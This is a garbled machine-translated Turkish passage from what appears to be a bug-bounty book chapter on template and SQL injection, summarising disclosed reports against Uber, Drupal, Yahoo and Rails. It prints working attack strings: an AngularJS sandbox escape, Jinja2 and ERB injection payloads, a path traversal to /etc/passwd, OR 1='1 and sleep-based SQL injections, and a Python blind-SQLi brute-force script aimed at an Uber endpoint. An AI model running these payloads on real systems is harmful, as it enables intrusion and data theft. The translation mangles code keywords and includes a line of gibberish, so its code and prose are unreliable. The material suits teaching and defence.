https://developer.uber.com/docs/deep-linking?q=wrtz {{ 7 * 7 | |

Raporuna gore, eger islenen sayfa kaynagini goriintiilerseniz, wrtz49 dizisi olur.
ifadenin degerlendirildigini gésteren

Simdi, ilging bir sekilde, Angular “uygun bir ayrilig1 siirdiirmek i¢in kum havuzu” denilen seyi kullaniyor.
uygulama sorumluluklarinin verilmesi ”. Bazen kum havuzunun sagladigi ayrim

Potansiyel bir saldirganin erisebilecegini sinirlamak i¢in bir giivenlik 6zelligi olarak tasarlanmigtir. Ancak,
Angular ile ilgili olarak, belgeler “bu sanal alanin amaglanmadigini

Sablonu diizenleyebilecek saldirgani durdurmak igin [ve] keyfi ¢alistirmaniz miimkiin olabilir

Cift kivrimli ciltlerin igindeki Javascript “James de bunu yapmayi basardi.

Asagidaki Javascript'i kullanarak James, Angular sanal alanindan kagmay1 basard.

keyfi Javascript uygulamast:

https://developer.uber.com/docs/deep-linking?q=wrtz{{(_="" .sub) .call.call ({} [$ ="\
Yapici "]. getOwnPropertyDescriptor (_.__proto __, $). degeri, 0," uyaris1 (1) ") O} } zzz \

Z

! https://hackerone.com/reports/125027
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Uber Dokiimanlarinda A¢isal Enjeksiyon

Belirttigi gibi, bu giivenlik agi1g1 gelistirici hesaplarini kagirmak ve bunlarla iligkilendirmek igin kullanilabilir
Uygulamalarin.

cikarimlar

Angular]S kullanimi i¢in uyanik ol ve Angular't kullanarak alanlari test et
sozdizimi {{}}. Hayatimiz1 kolaylastirmak icin Firefox eklentisi Wappalyzer'i edinin - olacak

Angular]S kullanimi dahil bir sitenin hangi yazilimi kullandigini gésterir.

2. Uber Sablon Enjeksiyonu

Zorluk : Orta

URL : riders.uber.com

Rapor Baglantisi : hackerone.com/reports/1259802
Rapor Tarihi : 25 Mart 2016

Odemeli Odiil : 10.000 $

Tamm :

2 -
hackerone.com/reports/125980
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Uber, HackerOne'da halka agik hata 6diil programini baslattiginda

kendi sitesinde bulunabilecek bir “hazine haritas1”, https://eng.uber.com/bug-bounty.

Harita, agagidakiler dahil olmak tizere Uber'in kullandig1 baz1 hassas alt etki alanlari ile ilgilidir.
teknolojilerin her biri tarafindan giivenildi. Yani, s6z konusu siteye gelince, riders.uber.com,
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y1gin Python Flask ve NodelJS iceriyordu. Peki, bu giivenlik agig: ile ilgili olarak, Orange
(bilgisayar korsani), Flask ve Jinja2'nin kullanildigini ve isimdeki s6zdizimini test ettigini belirtti.
alan.

Simdi, testler sirasinda Orange, riders.uber.com sonuglarinda bir profilde herhangi bir degisiklik oldugunu kaydetti.
Hesap sahibine bir e-posta ve kisa mesaj iginde. Yani, blog gonderisine gore, o
iizerinden test {{1 + 1}} ifade ayrigtirma ve baski 2 sitesi ile sonuglanmistir

kendine e-posta gonder.

O sonra yiik galist1 {{C, C, C}} {% endfor%} {[1,2,3]% C icin%} icin caligir
profil sayfasinda asagidaki sonuglanan dongii:

blog.orange.tw Yiik enjeksiyonundan sonra Uber profili

ve sonugta ortaya ¢ikan e-posta:
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blog.orange.tw Yiik aktarimi enjeksiyonundan sonra Uber e-postasi

Gorebildiginiz gibi, profil sayfasinda ger¢cek metin olusturulur ancak e-posta aslinda
kodu uyguladi ve e-postaya enjekte etti. Sonug olarak, izin verilen bir giivenlik a¢1g1 mevcut
Python kodunu ¢alistirmak i¢in bir saldirgan.

Simdi, Jinja2, yiiriitmeyi korumay1 engelleyerek hasar1 azaltmaya galistyor, yani
iglevsellik sinirlidir, ancak bu zaman zaman atlanabilir. Bu rapor oldu

Aslinda bir blog yazis1 (biraz erken gitti) tarafindan desteklenen ve bazi biiyiik dahil
nVisium.com bloguna baglantilar (evet, Rails RCE'yi ¢alistiran ayn1 nVisium)

sanal alan islevselliginden nasil kagilacagini gosterdi:

* https:/nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2
* https:/nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii

c¢ikarimlar

Bir sitenin hangi teknolojileri kullandigina dikkat edin, bunlar genellikle kilit fikirlere yol acar.
Bir siteyi nasil kullanabileceginizi. Bu durumda, Flask ve Jinja2 oldugu ortaya ¢ikt1

biiyiik saldirt vektorleri. Ve, baz1 XSS agiklarinda oldugu gibi,

giivenlik agig1 hemen veya kolayca goriinmeyebilir, tiimiinii kontrol ettiginizden emin olun
yerler metin olusturuldu. Bu durumda, Uber sitesindeki profil adi

diiz metin gosterdi ve bu giivenlik agigini gergekten ortaya ¢ikaran e-posta oldu.
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Sablon Enjeksiyonu
3. Raylar Dinamik Render

Zorluk : Orta
URL : Yok

Rapor Baglantisi : https:/nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-
07525

Rapor Tarihi : 1 Subat 2015
Odemeli Odiil : N/ A
Tanim :

Bu istismarin arastirilmasinda nVisium miithis bir ¢okiis sagliyor ve dolasiyor
sOmiiriiniin. Yazilmalarina gore, Ruby on Rails denetleyicileri

Bir Rails uygulamasinda is mantig1. Cergeve, bazi oldukg¢a saglam islevsellik saglar,
Kullaniciya basitge dayali olarak hangi igerigin gosterilmesi gerektiginin anlagilmasi

render yontemine iletilen degerler.

Rails ile galigmak, gelistiricilerin ne oldugunu agik ya da agikca kontrol etme olanagina sahipler.


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752

isleve gegirilen parametreye gére olusturulur. Boylece, gelistiriciler agik¢a
igerigi metin, J SpON, HTML veya bagka bir dosya olaraE olusturma.

Bu islevsellik ile, gelistiriciler URL’den gegirilen parametreleri alabilir;

onlar1 olugturulacak dosyayi belirleyecek olan Rails'e. Yani, Rails bir sey arard
gibi uygulama / goriintiileme / kullanic1 / # {params [: sablon]} .

Nvisium, bir .html, .haml kodunu olusturabilecek olan panodan gegme 6rnegini kullanir.
html.erb pano goriiniimii. Bu ¢agriy1 aldiginizda, Rails dosya tiplerini dizinleri tarar

Rails sozlesmesini eslestirin (Rails mantra, yapilandirmaya gore bir sozlesmedir). Ancak,
Rails'e bir seyi olusturmalarini séylediginizde, kullanmak i¢in uygun dosyay1 bulamiyorsa,
RAILS ROOT /app / views, RAILS ROOT ve sistem kokiinde arama yapacaktir.

Bu konunun bir parcasi. RAILS ROOT, uygulamanizin koék klasoriinii gosterir;
mantikli. Sistem kokii olmaz ve tehlikelidir.

Boylece, bunu kullanarak,% 2fetc% 2fpasswd dizinine gegebilirsiniz ve Rails / etc / passwd dosyanizi basar.

dosya. Korkung.

Simdi, bu daha da ileri gidiyor, <% 25% 3d Is % 25> yazdigimizda , bu yorumlanur.
<% =1s %> . Erb temprating dilinde, <% =%> yiiriitiilecek kodu belirtir
ve yazdirildi, bu yiizden burada, Is komutu calistirilacak veya Uzaktan Kod i¢in izin verilecek

Yiiriitme.

3h_t(ps://nvisium.com/blo /2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752

Sablon Enjeksiyonu

c¢ikarimlar

Bu giivenlik ac181, her Rails sitesinde bulunmaz - bagl

Site nasil kodlandi. Sonug olarak, bu otomatik bir arag olacak bir sey degil

mutlaka almak. Bir sitenin Rails kullanilarak olusturuldugunu bildiginiz zaman uyanik olun
URL'lerin ¢ogu igin ortak bir kural izler - en basitinde, / controller / id

Basit GET istekleri igin veya / controller / id / edit, edit;

Bu url sablonunun ortaya ¢iktigini gordiigiiniizde, oynamaya baslayin. Beklenmedik sekilde geg
degerler ve neyin geri dondiiglinii goriin.

ozet

Giivenlik agiklarini ararken, altta yatanlar1 tespit etmek ve tanimlamak iyi bir fikirdir.
olas1 bir saldirt bulmak i¢in teknoloji (web gergevesi, on ug isleme motoru vb.)
vektorler. Farkli sablonlama motorlari, tam olarak ne oldugunu sdylemeyi zorlastirir.
Her kosulda calisacak, ancak hangi teknolojinin kullanildigini bilmek

sen. Kontrol ettiginiz metnin geri getirildigi firsatlara dikkat edin

Sayfada veya bagka bir yerde (bir e-posta gibi) size.
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11. SQL Enjeksiyonu

Aciklama

Yapilandirilmis bir sorgu dili (SQL) enjeksiyonu veya SQLI, bir giivenlik a¢181 olustugunda ortaya ¢ikar.
veritabani destekli site, bir saldirganin sitenin veritabanini sorgulamasini veya baska sekilde saldirmasini saglar.
SQLi saldirilart ¢ogu zaman biiytik 6l¢iide ddiillendirilir ¢linki yikici olabilir. Etkinlestirebilirler

bilgi manipiile etmek veya ¢ikarmak, hatta bir yonetici olusturmak i¢in bir saldirgan

veritabaninda kendileri igin.

SQL Veritabanlar1

Veritabanlari, bilgileri bir tablo koleksiyonunda bulunan kayitlarda ve alanlarda depolar.
Tablolar bir veya daha fazla siitun iceriyor ve tablodaki satir satirdaki kaydi gosteriyor
veri tabani.

Kullanicilar olugturmak i¢in SQL (yapilandirilmis sorgu dili) adli bir programlama diline giivenirler.
veritabanindaki kayitlar1 okuyun, giincelleyin ve silin. Kullanic1 SQL komutlar1 génderir.

(ayrica ifadeler veya sorgular da denir) veritabanina ve komutlar: varsayarak

kabul edildiginde, veritabani ifadeleri yorumlar ve bazi eylemler ger¢eklestirir. Popiiler

SQL veritabanlar1t MySQL, Postgresql, MSSQL ve benzeri igerir. igin MySQL kullanacagiz.

Bu boliimiin amaci, ancak genel kavramlar tiim SQL veritabanlar1 igin gegerlidir.

SQL ifadeleri, anahtar kelimeler ve islevlerden olusur. Ornegin, asagidaki
deyimi, veritabanina kullanicilardaki ad stitundan bilgi segmesini sdyler.
tablo, ID siitununun 1'e esit oldugu kayitlar igin.

Kullanicilardan SECIN isim WHERE id = 1;
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Birgok web sitesi bilgi depolamak ve bu bilgileri kullanmak i¢in veritabanlarina giivenir.
dinamik olarak igerik olusturun. Ornegin, hitps://www.leanpub.con/ sitesi sizin

onceki siparigler veya satin aldiginiz e-kitaplarin listesi siz

hesabinizla giris yapin. Web tarayiciniz sitenin veritabanini sorgular ve liretir

HTML, dondiiriilen bilgilere dayanarak.

Bir MySQL komutu olusturmak i¢in sunucunun PHP kodunun teorik bir 6rnegine bakalim
Bir kullanict https://www.leanpub.com?name=yaworsk URL’sini ziyaret ettikten sonra :

SQL Enjeksiyonu

$ name =9 _GET ['name'];
$ q="SELECT * kullanicilardan NEREDE isim ='$ isim"";
mysql_query ($ sorgu);

Kod, belirtilen URL parametrelerinden ad degerine erigsmek i¢in $ _GET [] kullanir

parantezleri arasinda ve degeri $ name degigkeninde saklar. Parametre o zaman

$ q degiskenine herhangi bir sterilizasyon yapilmadan gecildi. $ Q degiskeni sorguyu temsil eder.
ad slitununun eslestigi tim kullanicilar tablosundan tiim verileri ¢aligtirmak ve almak i¢in

name URL parametresindeki deger. Sorgu $ q degiskenini ileterek yiirtitiiliir.

PHP islevi mysql query i¢in.

Sitenin normal metin icermesi bekleniyor, ancak kullanici kotii amagl yazilim girerse
giris testi 'TD 1 ="1 deki gibi bir URL parametresine https://www.leanpub.com?name=test OR' 1 =' 1 ,
yiiriitiilen sorgu:

$ query = "SELECT * FROM kullanicilarindan NEREDE name = 'test OR 1 ="1"";

Kotii amagh girisimiz, deger testinden sonra agilistaki tek teklifi (') kapatir ve

SQL code OR 1 ="1, sorgunun sonuna kadar. YA asili tek tirnak 1 ="1 agar

Giristen sonra kodlanmig olan tekli teklifin kapanmasi. Enjekte edilen sorgu igermezse
bir acilis tek teklifi, asili teklif SQL s6zdizimi hatalarina neden olurdu

Sorgunun yiiriitiilmesini engellerdi.

SQL, AND ve OR gibi kosullu operatorleri kullanir. Bu durumda, SQLi degistirir

WHERE deyimi, isim siitununun test veya

1 ="1"denklemi true degerini dondiiriir. MySQL yararl bir sekilde tamsay1 olarak '1' davranigini doniistiiriir ve 1
her zaman 1'e esittir, kosul dogrudur ve sorgu, kullanicilar tablosundaki tiim kayitlar1 dondiirtir.

Bununla birlikte, enjekte etme testi 'OR 1 =" 1, sorgunun diger kisimlari sterilize edildiginde ¢alismaz.

Ornegin, sdyle bir sorgu olabilir:

$ name =8 _GET ['name'];
$ pw = mysql_real_escape_string ($ _ GET ['sifre']);
$ query = "SELECT * FROM kullanicilarindan NEREDE name ='$ name' AND pw ='$ pw"";

Bu durumda, parola parametresi de kullanici tarafindan kontrol edilir, ancak
mysql real escape_string islevi. Ayn1 yiikii kullantyorsaniz, 'VEYA 1 ='1’i test edin.
ad1 ve sifreniz 12345 idi, ifadeniz soyle bitecekti:
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$ query = "SELECT * FROM kullanicilarindan NEREDE isim = 'test VEYA 1 ='1' VE pw = '12345"";

Sorgu, ismin test veya 1 ='1' oldugu ve sifrenin 12345 oldugu tiim kayitlar: arar.

(bu veritabaninin bagka bir diiz metin sifresi sakladig1 ger¢egini gérmezden gelecegiz)

SQL Enjeksiyonu

savunma). Sifre kontrolii bir AND isleci kullandigindan, sorgumuz geri donmeyecek
Bir kaydin sifresi 12345 olmadig siirece veridir. Bu, SQLi girisimi denememize engel olur, ancak
baska bir saldir1 yontemi denemekten vazgegmiyor.

Ekleyerek yapabilecegimiz sifre parametresini ortadan kaldirmamiz gerekiyor ; - , test 'VEYA
='l; - . Bu enjeksiyon iki seyi gerceklestirir: noktali virgiil (;), SQL deyimini sonlandirir
ve iki ¢izgi (-) veritabanina metnin geri kalaninin bir yorum oldugunu sdyler. bizim

Enjekte edilen parametre sorguyu SELECT * FROM kullanicilarmdan WHERE name = 'test' VEYA 1 ="'1" olarak degistirir; .

ifade igindeki AND password = '12345' kodu bir yorum haline gelir, bu nedenle komut
tablodaki tiim kayitlar1 dondiiriir. Kullanirken - yorum olarak, MySQL'in

tire ve kalan sorgudan sonra bir bosluk gerektirir aksi takdirde hata dondiiriir
komutu ¢aligtirmadan.

SQLi'ye Kars1 Alinacak Onlemler

SQLi'yi 6nlemek i¢in mevcut olan bir koruma, veritabani olan ifadelerdir.

tekrarlanan sorgulari yiiriitmek igin kullanilan 6zellik. Hazirlanan ifadelerin 6zel detaylari

Bu kitabin kapsami disinda, ancak sorgular

artik dinamik olarak yiiriitiilmemektedir. Veritabani, sablonlar gibi sorgular1 kullanarak

degiskenler i¢in yer tutucular. Sonug olarak, kullanicilar bir sorguya dogrulanmamis verileri gegse bile,
enjeksiyon, veritabaninin sorgu sablonunu degistiremez; bu da SQLi'yi engeller.

Ruby on Rails, Django, Symphony ve benzeri web ¢ergeveleri de yerlesik olarak sunulur
SQLi 6nlemeye yardimc1 olmak i¢in Ancak, miikemmel degiller ve engelleyemezler

her yerde giivenlik a¢1g1. Gordiiglimiiz iki basit SQLi 6rnegi ise yaramaz

site gelistiricileri en iyi uygulamalari takip etmedigi siirece gergevelerle olusturulan sitelerde
veya korumalarin otomatik olarak saglanmadigini anlamadi. Ornegin, site
https://www.rails-sqli.org/, sonugtaki Rails'deki ortak SQL1i kaliplarinin bir listesini tutar.
gelistirici hatalarindan. SQLi'yi test ederken, en iyi segeneginiz daha yaglilart aramaktir.
6zel yapilmig veya kullanilmis web ¢ergeveleri ve igerik yonetimi gibi goriinen web siteleri
mevecut sistemlerin tiimlesik korumalarina sahip olmayan sistemler.

Ornekler

1. Drupal SQL Enjeksiyonu

Zorluk : Orta
URL : Siiriim 7.32'den daha az olan herhangi bir Drupal sitesi

Rapor Baglantisi : https://hackerone.com/reports/31756 1

1
https:/hackerone.com/reports/31756
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SQL Enjeksiyonu

Rapor Tarihi : 17 Ekim 2014
Odemeli Odiil : 3000 Dolar

Tamim :

Drupal, ¢ok benzer sekilde web siteleri olusturmak i¢in kullanilan popiiler bir igerik yonetim sistemidir.

Wordpress ve Joomla'ya. PHP ile yazilmis ve modiiler tabanli, yeni anlam

islevselligi bir modiil kurarak bir Drupal sitesine eklenebilir. Drupal toplulugu

Binlerce yazdi ve onlart iicretsiz olarak kullandi. Ornekler arasinda e-ticaret,

iiciincii taraf entegrasyonu, igerik iiretimi vb. Bununla birlikte, her Drupal kurulumunda
Platformu ¢aligtirmak i¢in kullanilan ayni ¢ekirdek modiiller kiimesi ve

veri tabant. Bunlar tipik olarak Drupal ¢ekirdek olarak adlandirilir.

2014 yilinda, Drupal giivenlik ekibi Drupal ¢ekirdegine acil bir giivenlik giincellemesi yapt1
Tiim Drupal sahalarinm, elde edilebilecek bir SQL enjeksiyonuna karst savunmasiz oldugunu gosteren
anonim kullanicilar. Giivenlik agiginin etkisi, bir saldirganin ele gegirilmesine izin verebilir

giincellenmemis herhangi bir Drupal sitesi.

Giivenlik ag1g1 agisindan, Stefan Horst, Drupal gelistiricisinin

yanlis olabilecek veritabani sorgulari i¢in sarmalayici islevselligini yanlis uyguladi

saldirganlar tarafindan taciz edilmek. Daha spesifik olarak, Drupal PHP Data Objects (PDO) kullaniyordu

veritabanina erismek i¢in bir arayiiz olarak. Drupal ¢ekirdek gelistiricileri kod yazdi

bu PDO islevlerini ¢agirdi ve Drupal kodunun bagska bir zamanda kullanilmasi gerektigini soyledi.
gelistiriciler bir Drupal veritabaniyla etkilesime gegmek igin kod yaziyorlardi. Bu ortak

Yazilim gelistirme pratigi. Bunun nedeni Drupal'in kullanilmasina izin vermekti.

farkl: tiirdeki veritabanlartyla (MySQL, Postgres, vb.) karmasiklig1 kaldirin ve saglayin
standardizasyon.

Simdi, dedi ki, Stefan, Drupal sarmalayici kodunun bir
SQL sorguya gegirilen dizi verileri hakkinda yanlis varsaymm. Iste orijinal
kod:

foreach (8 i =>$ deger olarak $ verileri) {
(-]
$ new_keys [$ anahtar.' '$ i] = $ deger;
}

Hatay1 tespit edebilir misiniz (yapamazdim)? Gelistiriciler varsayimi yapti

dizi verilerinin her zaman 0, 1, 2 vb. gibi sayisal anahtarlar icerecegini ($ i degeri)
ve $ key degiskenine $ i ' ye katildilar ve bunu degere esit yaptilar. Iste

Drupal'm db_query islevinde tipik bir sorgu neye benzerdi:
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db_query ("SELECT * FROM {users} NEREDE AD IN (: name)", dizi (": name' => array (‘us \
erl', 'kullanici2")));

Burada, db_query islevi bir veritabani sorgusu alir SELECT * FROM {users} nerede
name IN (: name) ve sorguda yer tutucularin yerine kullanilacak bir degerler dizisi.
PHP'de bir dizi dizi olarak tanimladiginizda ('deger’, 'deger2', 'deger3'), aslinda [0

= 'deger', 1 = 'deger2', 2 = 'deger3'], burada her degere sayisal tusla erisilebilir.

Bu durumda ,: name degiskeni, [0 = 'userl’, 1 dizisindeki degerlerle degistirildi.

= 'kullanic12']. Bundan ne elde edersiniz:
SELECT * kullanicilardan NEREDE isim IN (: name_0,: name_1)

Cok iyi ¢cok uzak. Sayisal olmayan bir dizi aldiginizda sorun ortaya ¢ikiyor
tuslari, asagidaki gibi:

db_query ("SELECT * FROM {users} burada ad IN (: name)",

array (": name' => array ('test) -' => 'kullanic11’, 'test' => 'kullanic12')));

Bu durumda : name bir dizidir ve tuslar1 'test) -', 'test' olur . Bunun nerede oldugunu gérebiliyor musun?
gidiyor? Drupal bunu aldiginda ve sorguyu olusturmak i¢in diziyi islediginde, biz
alirdim:

SELECT * kullanicilardan NEREDE isim IN (:: name_test) -,: name_test)

Bunun neden bdyle oldugunu anlamak biraz zor olabilir. Agiklanan foreach gére

iistte, Drupal dizideki her bir geyi birer birer gegirirdi. Yani ilk

yineleme $ i = test) - ve $ value = kullameil . Simdi, $ key sorgudan (: isim) ve

$ i ile birlestirildiginde, name_test) - . Ikinci yineleme icin, $ i = test ve $ value

= kullanic12 . Yani, $ key $ i ile birlestirildiginde, name_test olur . Sonug, bir yer tutucusudur
:name_test hangi user2'ye esittir.

Simdi, tiim sdylenenlerle Drupal’in PHP PDO nesnelerini sarmaladigi gergegi geliyor.
Oyuna girildi ¢iinkii PDO ¢oklu sorgulara izin veriyor. Yani bir saldirgan kotii niyetli bir sekilde gegebilir
giris, bir dizi anahtari i¢in kullanici yonetici kullanicisi olugturmak {izere gergek bir SQL sorgusu gibi

Birden fazla sorgu olarak yorumlanir ve yiiriitiiliir.

c¢ikarimlar

Bu 6rnek ilgingti, ¢iinkii tek bir bagvuruda bulunma meselesi degildi.

bir sorgu alint1 ve kirma. Aksine, her sey Drupal'm kodunun ne oldugu ile ilgiliydi.

i¢ isleve gegirilen dizileri kullanma. Siyahla bulmak kolay degil.

kutu sinamasi (kodu gorme erigsiminizin olmadig yer). Gelen paket

Bu, girdilerin yapisini degistirme firsatlarini aragtirmaktir.

bir siteye. Oyleyse, bir URL nereye? Parametre olarak, bir diziyi gegmeye ¢alisirken adini
gibi? isim [] sitenin nasil idare ettigini gérmek i¢in. SQLIi ile sonuglanmayabilir, ancak
diger ilging davranislara yol acar.

SQL Enjeksiyonu
2. Yahoo Spor Kor SQL

Zorluk : Orta

URL : sports.yahoo.com
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Rapor Baglantisi : esevece tumblr.

Rapor Tarihi : 16 Subat 2014
Odemeli Odiil : 3,705 Dolar
Tanim :

Bloguna gore Stefano, year parametresi sayesinde bir SQLi giivenlik agig1 buldu
icinde http://sports.yahoo.com/nfl/draft?year=2010&type=20&round=2 . Gérevinden
URL’ye gegerli bir yanit 6rnegi:

Yahoo Valid Response
Simdi, ilging bir sekilde, Stefano iki ¢izgi eklediginde, -, sorguya. Sonuglar degisti:

2 https://esevece.tumblr.com

SQL Enjeksiyonu
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Yahoo Valid Response

Bunun nedeni, yukarida sordugum gibi - sorguda yorum olarak hareket etmektir. Nerede
Yahoo'nun orijinal sorgusu suna benziyor olabilir:

SEC * OYUNCULARDAN YIL = 2010 VE TUR =20 VE YUVARLAK =2;

Kisa ¢izgilerle, Stefano aslinda sdyle davraniyordu:

SEC * OYUNCULARDAN YILLARIN = 2010;

Bunu kabul ederek, Yahoo'dan veri tabani bilgilerini ¢ikarmaya baglamak miimkiindii.
Ornegin, Stefano veritabaninin ana siiriim numarasini kontrol edebildi

asagidakileri igeren yazilimlar:

SQL Enjeksiyonu
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Yahoo Veritabam Siiriimii

IF islevini kullanarak, siiriimdeki ilk karakter () ise oyuncular iade edilir

islev 5 idi. IF islevi bir kosul alir ve degerinden sonra degeri donddiriir.

kosul dogru, yanlis ise son parametre. Yani, yukaridaki resme dayanarak,

Kosul, siiriimdeki ilk karakterdi. Sonug olarak, veritabani siiriimiinii biliyoruz

sonug¢ dondiiriilmediginden 5 degildir (MySQL dolandiricilik sayfasini kontrol ettiginizden emin olun.

SQLi smarken ek islevsellik i¢in Kaynaklar sayfast).

Bunun kor bir SQLi olarak kabul edilmesinin nedeni, Stefano'nun dogrudan géremedigidir.
Sonuglar; Yahoo sadece oyunculari iade ettigi igin sadece veritabani versiyonunu yazdiramiyor.
Ancak, sorguyu manipiile ederek ve sonuglarini sonuglarla karsilagtirarak

temel sorgu (ilk resim), ¢ikartmaya devam edebilecekdi

Yahoo veritabanindan bilgi.

cikarimlar

SQLI, diger enjeksiyon agiklart gibi, somiiriilmesi zor degil. Anahtar

savunmasiz olabilecek parametreleri test etmek. Bu durumda, ¢ift ekleme

dash, Stefano'nun temelde verdigi sorgunun sonuglarini agik bir sekilde degistirdi
SQLi. Benzer giivenlik agiklarini ararken, incelikli olmaya dikkat et

Kor bir SQLI kirtlganliginin gostergesi olabilecegi i¢in sonuglarda degisiklik yapti.

SQL Enjeksiyonu
3. Uber Kor SQLi

Zorluk : Orta

URL : http://sctrack.email.uber.com.cn/track/unsubscribe.do
Rapor Baglantisi : https://hackerone.com/reports/1501563
Rapor Tarihi : 18 Temmuz 2016

Odemeli Odiil : 4000 Dolar

Tanim :

Web sayfalarina ek olarak, kor SQL enjeksiyonlar1 gibi diger yollar ile elde edilebilir
e-posta baglantilar olarak. Temmuz 2016'da Orange Tsai, Uber'den bir e-posta reklami aldi. o
abonelikten ¢ikma baglantisinin URL parametresi olarak bir base64 kodlu dize i¢erdigini fark ettim.

Baglantiya benziyordu:

http: //sctrack.email.uber.com.cn/track/unsubscribe.do p = eyJ1c2VyX2lkIjogljU3INTUi \
LCAicmVjZWI12ZXIiOiAib3ThbmdIQG15bWFpbCJ9

Base64 dondiiren degeri kullanarak eyJ1c2VyX2lkljogljU3NTUILCAI p parametre degerinin kodunu ¢6zme
JSON dizgisi {"user_id": "5755", "alic1": "orange @ mymail"} . Bir zamanlar Orange ...

kodlanmis dizgiyi kodladi ve kodlanan p URL parametresine sleep (12) = 1 komutunu ekledi,

hangi veritaban1 yanit vermesi daha uzun siirdiigii i¢in tasarlanmis zararsiz bir enjeksiyon

abonelik iptali iglemi {"user_id": "5755 ve uyku (12) = 1", "alic1": "orange @ mymail"} . Eger bir site
savunmasizdir, sorgu yiiriitmesi uykuyu degerlendirir (12) ve 12 i¢in islem yapmaz

sleep komutunun ¢iktisini 1 ile karsilastirmadan 6nce birkag saniye. MySQL'de uyku
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komut normalde 0 dondiiriir, bu nedenle bu karsilastirma basarisiz olur, ancak bu énemli degil
yiiriitme en az 12 saniye siirecektir.

Orange, degistirilen yiikii yeniden kodladiktan sonra yiikii URL’ye aktardi.

parametre, HTTP yanitinin en az 12 oldugunu dogrulamak i¢in abonelik iptali baglantisini ziyaret etti.
saniye. Ancak Orange, gondermek i¢in SQLi'nin daha somut bir kanitina ihtiyaci olduguna karar verdi.
Uber’e, kullanici adini, ana bilgisayar adini ve veritabaninin adini atmaya karar verdi.

Bir SQLi'den bilgi ¢ikarma yetenegini gosterdiginden beri kaba kuvvet kullanma

gizli verilere erismeden.

SQL, kullanici adim1 ve veritabaninin ana bilgisayar adin1 déndiiren kullanici adli bir isleve sahiptir.
<user> @ <host> biciminde . Ciinkii Orange, enjekte ettigi yerden ¢iktrya erisemedi.

sorgular, basit¢e kullanici arayamadi. Bunun yerine, Turuncu bir sorgu eklemek igin sorgusunu degistirdi.

Sorgunun kullanici kimligine bakip kosulsuz bir karakter olup olmadigini kontrol edin.
Veritabaninin kullanici ad1 ve ana bilgisayar adi, orta islevi kullanan bir anda dize. Benzer
Yahoo Sports kor SQLi dnceki hata raporundan, Orange bir karsilastirma kullandi
kullanic1 adinin ve ana bilgisayar ad1 dizesinin her karakterini tiiretecek ifade.

3 https://hackerone.com/reports/150156

SQL Enjeksiyonu

Ornegin, bir karsilastirma ifadesi kullanarak bir kullanici ad1 ve ana bilgisayar ad1 bulmak
kaba kuvvet, Orange kullanici iglevinden dondiiriilen degerin ilk karakterini aldu.

orta iglevi kullanarak ve karakterin 'a', sonra 'b' ye esit olup olmadiklarini karsilagtirarak,
sonra 'c' vb. Karsilagtirma bildirimi dogru olsaydi, sunucu yiiriitiirdii

abonelikten ¢ikma komutu kullanici islevinin ilk karakterinin

return degeri, karsilastirildigt karaktere esittir. Aksi takdirde, eger ifade

Sahte olsaydi, sunucu aboneliginden ¢ikmay1 denemezdi. Her karakteri kontrol ederek

Bu fonksiyon ile kullanici fonksiyonunun geri doniis degeri, Orange sonunda miimkiin olacak

tiim kullanici adin1 ve ana bilgisayar adini tiiretin.

Bir dizgeyi elle zorla kaldirmak, zaman alacaktir, bu yiizden Orange bir Python betigi yaratti.
Uber e yiiklerini kendi adina yiikler ve gonderirdi:

json ithal
ithalat dizesi

ithalat istekleri

dan urllib ithalat alint:
dan base64 ithalat b64encode
base = string . basamak + dize . harfler +' - @."'
payload = { "user id" : 5755, "alic1" : "blog.orange.tw" }
icin | olarak aralik (0,30 ):
icin [ icinde bir baz:
yiik [[ user_id']="5755 ve orta (kullanici (), %o d, 1) = % ¢ '#" % (1+ 1 ,1)
new_payload = json . dokiimleri (payload)
new_payload = b64encode (new_payload)
r = istek . almak ('http://sctrack.email.uber.com.cn/track/unsubscribe.do? \
p ="+ alint1 (new_payload))
eger len (r . igerigi) > 0 :
i yazdir

mola
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Brihukodrrkptinbensichl 3voRess Y BomarhHiadasi vishasitberekiyor.

Bir veritabani kullanici ad1 ve ana bilgisayar adi, herhangi bir biiyiik harf kombinasyonundan olusabilir.

harfler, kiigiik harfler, sayilar, kisa ¢izgiler (-), alt ¢izgiler (), (@) isaretlerinde veya noktalarda
(.). Turuncu, bu karakterleri tutmak i¢in temel degiskeni yaratir. Sonra bir degisken yaratir
betigin sunucuya gonderdigi yiikii tutmak. I¢inde i igin ilk satir

baz for dongiiler kullanilarak olusturulan gergek enjeksiyondur.

Sana kod boyunca yiirilyecegim. Orange, kullanic1 kimligini, 5755, user id dizgisine bagvuruyor
onun yiikiinii olugturmak i¢in yiik degiskeninde tanimlandig: gibi. Orta islevi kullanir ve
dize isleme bu boliimdeki Yahoo hataya benzer bir yiik olusturmak i¢in.

SQL Enjeksiyonu

Yiikteki% d ve% c, string degistirme yer tutuculardir. % D veri i¢in kullanilir

karakter verisi i¢in bir rakam ve% c'yi temsil eder.

Yiik dizesi ¢ift tirnak (()) ile baslar ve ikinci ¢iftin sonunda biter.

tiglincii yiizde semboliinden 6nce ¢ift tirnak. Yiizde ti¢iincii sembol Python'a sdyler
% d ve% c yer tutucularini, igindeki yiizde semboliinii izleyen degerlerle degistirmek
Parantezler. Bu, kodun% d'yi 1 + 1 ile degistirdigi anlamina gelir (degisken | art1

say1 1) ve% c, i degiskeniyle. Hash (#), yorum yapmanin baska bir yoludur

MySQL ve Orange'in enjeksiyonunu takiben sorgunun herhangi bir boliimiinii yorum haline getiriyor.

L ve i degiskenleri dongii yineleyicilerdir. L'ye ilk girdigimizde (0,30), 1

1 degeri, kullanic1 adindaki ve ana makine dizgisinin dondiirdiigii pozisyondur.

betigin kaba kuvvet uygulamaya ¢alistig1 kullanici islevi. Betik bir pozisyona girdiginde
kullanict ad1 ve test ettigi ana bilgisayar ad1 dizesinde yinelenen bir i¢ ige dongii gireriz

Temel dizedeki her karakterin lizerinde Senaryo ilk defa her ikisini de yinelediginde

dongiiler, ben 0 olacagim ve ben de olacagim. Bu degerler olusturmak igin orta isleve gegirilir.
"5755 ve orta (kullanici (), 0,1) = "a' #" yukii .

